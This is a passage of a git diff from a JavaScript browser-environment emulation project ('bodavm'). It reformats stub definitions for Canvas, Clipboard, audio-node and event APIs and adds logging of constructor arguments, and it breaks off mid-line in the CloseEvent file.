+bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function setTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "stroke", { + configurable: true, + enumerable: true, + writable: true, + value: function stroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "stroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeText", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "transform", { + configurable: true, + enumerable: true, + writable: true, + value: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "transform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "translate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arc", { + configurable: true, + enumerable: true, + writable: true, + value: function arc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arcTo", { + configurable: true, + enumerable: true, + writable: true, + value: function arcTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arcTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "beginPath", { + configurable: true, + enumerable: true, + writable: true, + value: function beginPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "beginPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "bezierCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function bezierCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "bezierCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clearRect", { + configurable: true, + enumerable: true, + writable: true, + value: function clearRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clearRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "closePath", { + configurable: true, + enumerable: true, + writable: true, + value: function closePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "closePath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "ellipse", { + configurable: true, + enumerable: true, + writable: true, + value: function ellipse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "ellipse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fillRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineTo", { + configurable: true, + enumerable: true, + writable: true, + value: function lineTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "moveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function moveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "moveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "quadraticCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function quadraticCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "quadraticCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rect", { + configurable: true, + enumerable: true, + writable: true, + value: function rect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "resetTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function resetTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "resetTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "restore", { + configurable: true, + enumerable: true, + writable: true, + value: function restore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "restore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeRect", { + configurable: true, + enumerable: true, + writable: true, + value: function strokeRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeRect", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CaptureController.js b/env_xbb_lastest_jsdom/env/CaptureController.js index e845c810..51b2626b 100644 --- a/env_xbb_lastest_jsdom/env/CaptureController.js +++ b/env_xbb_lastest_jsdom/env/CaptureController.js @@ -1,4 +1,22 @@ -// CaptureController对象 -bodavm.memory.globalobj['CaptureController'] = function CaptureController(){this._boarg= new bodaobj.window.CaptureController();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CaptureController'], "CaptureController"); -bodavm.toolsFunc.defineProperty('CaptureController', "setFocusBehavior", {configurable:true, enumerable:true, writable:true, value:function setFocusBehavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CaptureController'].prototype, "CaptureController", "setFocusBehavior", arguments)}},'prototype'); +// CaptureController对象 + +bodavm.memory.globalobj['CaptureController'] = function CaptureController() { + console.log_copy('CaptureController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.CaptureController(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CaptureController'], "CaptureController"); +bodavm.toolsFunc.defineProperty('CaptureController', "setFocusBehavior", { + configurable: true, + enumerable: true, + writable: true, + value: function setFocusBehavior() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CaptureController'].prototype, "CaptureController", "setFocusBehavior", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ChannelMergerNode.js b/env_xbb_lastest_jsdom/env/ChannelMergerNode.js index 0a29ffcf..b3e60542 100644 --- a/env_xbb_lastest_jsdom/env/ChannelMergerNode.js +++ b/env_xbb_lastest_jsdom/env/ChannelMergerNode.js @@ -1,5 +1,19 @@ -// ChannelMergerNode对象 -bodavm.memory.globalobj['ChannelMergerNode'] = function ChannelMergerNode(){if (!(this instanceof ChannelMergerNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelMergerNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelMergerNode'], "ChannelMergerNode"); -bodavm.memory.globalobj['ChannelMergerNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ChannelMergerNode'].__proto__=bodavm.memory.globalobj['AudioNode']; +// ChannelMergerNode对象 + +bodavm.memory.globalobj['ChannelMergerNode'] = function ChannelMergerNode() { + console.log_copy('ChannelMergerNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ChannelMergerNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelMergerNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelMergerNode'], "ChannelMergerNode"); +bodavm.memory.globalobj['ChannelMergerNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ChannelMergerNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ChannelSplitterNode.js b/env_xbb_lastest_jsdom/env/ChannelSplitterNode.js index 500f0bef..7ef4ff16 100644 --- a/env_xbb_lastest_jsdom/env/ChannelSplitterNode.js +++ b/env_xbb_lastest_jsdom/env/ChannelSplitterNode.js @@ -1,5 +1,19 @@ -// ChannelSplitterNode对象 -bodavm.memory.globalobj['ChannelSplitterNode'] = function ChannelSplitterNode(){if (!(this instanceof ChannelSplitterNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelSplitterNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelSplitterNode'], "ChannelSplitterNode"); -bodavm.memory.globalobj['ChannelSplitterNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ChannelSplitterNode'].__proto__=bodavm.memory.globalobj['AudioNode']; +// ChannelSplitterNode对象 + +bodavm.memory.globalobj['ChannelSplitterNode'] = function ChannelSplitterNode() { + console.log_copy('ChannelSplitterNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ChannelSplitterNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelSplitterNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelSplitterNode'], "ChannelSplitterNode"); +bodavm.memory.globalobj['ChannelSplitterNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ChannelSplitterNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CharacterData.js b/env_xbb_lastest_jsdom/env/CharacterData.js index 9d7fad73..e128b2aa 100644 --- a/env_xbb_lastest_jsdom/env/CharacterData.js +++ b/env_xbb_lastest_jsdom/env/CharacterData.js @@ -1,18 +1,125 @@ -// CharacterData对象 -bodavm.memory.globalobj['CharacterData'] = function CharacterData(){if (!(this instanceof CharacterData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CharacterData'], "CharacterData"); -bodavm.memory.globalobj['CharacterData'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['CharacterData'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('CharacterData', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "previousElementSibling", {configurable:true, enumerable:true, get:function previousElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "previousElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "nextElementSibling", {configurable:true, enumerable:true, get:function nextElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "nextElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "after", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "appendData", {configurable:true, enumerable:true, writable:true, value:function appendData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "appendData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "before", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "deleteData", {configurable:true, enumerable:true, writable:true, value:function deleteData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "deleteData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "insertData", {configurable:true, enumerable:true, writable:true, value:function insertData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "insertData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "replaceData", {configurable:true, enumerable:true, writable:true, value:function replaceData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceWith", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CharacterData', "substringData", {configurable:true, enumerable:true, writable:true, value:function substringData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "substringData", arguments)}},'prototype'); +// CharacterData对象 + +bodavm.memory.globalobj['CharacterData'] = function CharacterData() { + console.log_copy('CharacterData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CharacterData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CharacterData'], "CharacterData"); +bodavm.memory.globalobj['CharacterData'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['CharacterData'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('CharacterData', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "previousElementSibling", { + configurable: true, + enumerable: true, + get: function previousElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "previousElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "nextElementSibling", { + configurable: true, + enumerable: true, + get: function nextElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "nextElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "after", { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "after", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "appendData", { + configurable: true, + enumerable: true, + writable: true, + value: function appendData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "appendData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "before", { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "before", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "deleteData", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "deleteData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "insertData", { + configurable: true, + enumerable: true, + writable: true, + value: function insertData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "insertData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "replaceData", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "replaceWith", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "replaceWith", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CharacterData', "substringData", { + configurable: true, + enumerable: true, + writable: true, + value: function substringData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CharacterData'].prototype, "CharacterData", "substringData", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Clipboard.js b/env_xbb_lastest_jsdom/env/Clipboard.js index 462b89af..b7555bc4 100644 --- a/env_xbb_lastest_jsdom/env/Clipboard.js +++ b/env_xbb_lastest_jsdom/env/Clipboard.js @@ -1,9 +1,51 @@ -// Clipboard对象 -bodavm.memory.globalobj['Clipboard'] = function Clipboard(){if (!(this instanceof Clipboard)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Clipboard'], "Clipboard"); -bodavm.memory.globalobj['Clipboard'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Clipboard'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Clipboard', "read", {configurable:true, enumerable:true, writable:true, value:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "read", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Clipboard', "readText", {configurable:true, enumerable:true, writable:true, value:function readText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "readText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Clipboard', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "write", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Clipboard', "writeText", {configurable:true, enumerable:true, writable:true, value:function writeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "writeText", arguments)}},'prototype'); +// Clipboard对象 + +bodavm.memory.globalobj['Clipboard'] = function Clipboard() { + console.log_copy('Clipboard 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Clipboard)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Clipboard'], "Clipboard"); +bodavm.memory.globalobj['Clipboard'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Clipboard'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Clipboard', "read", { + configurable: true, + enumerable: true, + writable: true, + value: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "read", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Clipboard', "readText", { + configurable: true, + enumerable: true, + writable: true, + value: function readText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "readText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Clipboard', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "write", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Clipboard', "writeText", { + configurable: true, + enumerable: true, + writable: true, + value: function writeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "writeText", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ClipboardEvent.js b/env_xbb_lastest_jsdom/env/ClipboardEvent.js index 80c9b33a..a21bf0a3 100644 --- a/env_xbb_lastest_jsdom/env/ClipboardEvent.js +++ b/env_xbb_lastest_jsdom/env/ClipboardEvent.js @@ -1,6 +1,27 @@ -// ClipboardEvent对象 -bodavm.memory.globalobj['ClipboardEvent'] = function ClipboardEvent(){if (!(this instanceof ClipboardEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardEvent'], "ClipboardEvent"); -bodavm.memory.globalobj['ClipboardEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ClipboardEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ClipboardEvent', "clipboardData", {configurable:true, enumerable:true, get:function clipboardData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardEvent'].prototype, "ClipboardEvent", "clipboardData_get", arguments)}, set:undefined},'prototype'); +// ClipboardEvent对象 + +bodavm.memory.globalobj['ClipboardEvent'] = function ClipboardEvent() { + console.log_copy('ClipboardEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ClipboardEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardEvent'], "ClipboardEvent"); +bodavm.memory.globalobj['ClipboardEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ClipboardEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ClipboardEvent', "clipboardData", { + configurable: true, + enumerable: true, + get: function clipboardData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardEvent'].prototype, "ClipboardEvent", "clipboardData_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ClipboardItem.js b/env_xbb_lastest_jsdom/env/ClipboardItem.js index af9c9c60..1bdb2a83 100644 --- a/env_xbb_lastest_jsdom/env/ClipboardItem.js +++ b/env_xbb_lastest_jsdom/env/ClipboardItem.js @@ -1,5 +1,33 @@ -// ClipboardItem对象 -bodavm.memory.globalobj['ClipboardItem'] = function ClipboardItem(){if (!(this instanceof ClipboardItem)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardItem': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardItem'], "ClipboardItem"); -bodavm.toolsFunc.defineProperty('ClipboardItem', "types", {configurable:true, enumerable:true, get:function types (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "types_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ClipboardItem', "getType", {configurable:true, enumerable:true, writable:true, value:function getType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "getType", arguments)}},'prototype'); +// ClipboardItem对象 + +bodavm.memory.globalobj['ClipboardItem'] = function ClipboardItem() { + console.log_copy('ClipboardItem 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ClipboardItem)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardItem': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardItem'], "ClipboardItem"); +bodavm.toolsFunc.defineProperty('ClipboardItem', "types", { + configurable: true, + enumerable: true, + get: function types() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "types_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ClipboardItem', "getType", { + configurable: true, + enumerable: true, + writable: true, + value: function getType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "getType", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CloseEvent.js b/env_xbb_lastest_jsdom/env/CloseEvent.js index 66725a4a..770bd727 100644 --- a/env_xbb_lastest_jsdom/env/CloseEvent.js +++ b/env_xbb_lastest_jsdom/env/CloseEvent.js @@ -1,8 +1,43 @@ -// CloseEvent对象 -bodavm.memory.globalobj['CloseEvent'] = function CloseEvent(){if (!(this instanceof CloseEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CloseEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CloseEvent'], "CloseEvent"); -bodavm.memory.globalobj['CloseEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['CloseEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('CloseEvent', "wasClean", {configurable:true, enumerable:true, get:function wasClean (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "wasClean_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CloseEvent', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CloseEvent', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, 